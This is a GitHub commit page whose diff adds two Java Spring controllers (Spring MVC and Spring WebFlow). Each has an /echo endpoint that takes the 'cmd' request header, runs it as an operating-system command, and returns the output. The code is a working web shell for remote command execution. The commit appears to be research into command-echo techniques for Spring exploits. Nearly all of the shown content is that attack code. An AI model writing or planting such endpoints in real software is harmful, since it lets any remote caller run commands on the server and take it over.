Skip to content

Commit d07100e

Browse files
author
feihong
committed
modify spring echo
1 parent f97f9cf commit d07100e

File tree

3 files changed

+71
-46
lines changed

3 files changed

+71
-46
lines changed
Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
package com.management.controller;
2+
3+
import com.management.bean.User;
4+
import org.springframework.stereotype.Controller;
5+
import org.springframework.web.bind.annotation.RequestMapping;
6+
import org.springframework.web.bind.annotation.RequestMethod;
7+
import org.springframework.web.bind.annotation.ResponseBody;
8+
import java.io.*;
9+
10+
@Controller
11+
public class SpringMVCTestController {
12+
13+
@ResponseBody
14+
@RequestMapping(value="/echo", method = RequestMethod.GET)
15+
public User Test() throws IOException {
16+
17+
org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();
18+
javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();
19+
javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();
20+
21+
String cmd = httprequest.getHeader("cmd");
22+
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
23+
24+
StringBuilder sb = new StringBuilder();
25+
String line;
26+
while((line = br.readLine()) != null){
27+
sb.append(line + "\n");
28+
}
29+
30+
br.close();
31+
httpresponse.getWriter().println(sb.toString());
32+
33+
return new User();
34+
}
35+
}
Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
package com.pizza;
2+
3+
import org.springframework.stereotype.Controller;
4+
import org.springframework.web.bind.annotation.GetMapping;
5+
import java.io.IOException;
6+
7+
@Controller
8+
public class SpringWebFlowTestController {
9+
10+
@GetMapping("/")
11+
public String redirectToFlow() {
12+
return "redirect:/pizza";
13+
}
14+
15+
@GetMapping("/echo")
16+
public String test() throws IOException {
17+
18+
org.springframework.webflow.context.servlet.ServletExternalContext servletExternalContext = (org.springframework.webflow.context.servlet.ServletExternalContext) org.springframework.webflow.context.ExternalContextHolder.getExternalContext();
19+
javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest) servletExternalContext.getNativeRequest();
20+
javax.servlet.http.HttpServletResponse response = (javax.servlet.http.HttpServletResponse) servletExternalContext.getNativeResponse();
21+
22+
String cmd = request.getHeader("cmd");
23+
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
24+
25+
StringBuilder sb = new StringBuilder();
26+
String line;
27+
while((line = br.readLine()) != null){
28+
sb.append(line + "\n");
29+
}
30+
31+
br.close();
32+
response.getWriter().println(sb.toString());
33+
34+
return "test";
35+
}
36+
}

Spring/code/TestController.java

Lines changed: 0 additions & 46 deletions
This file was deleted.

0 commit comments

Comments
 (0)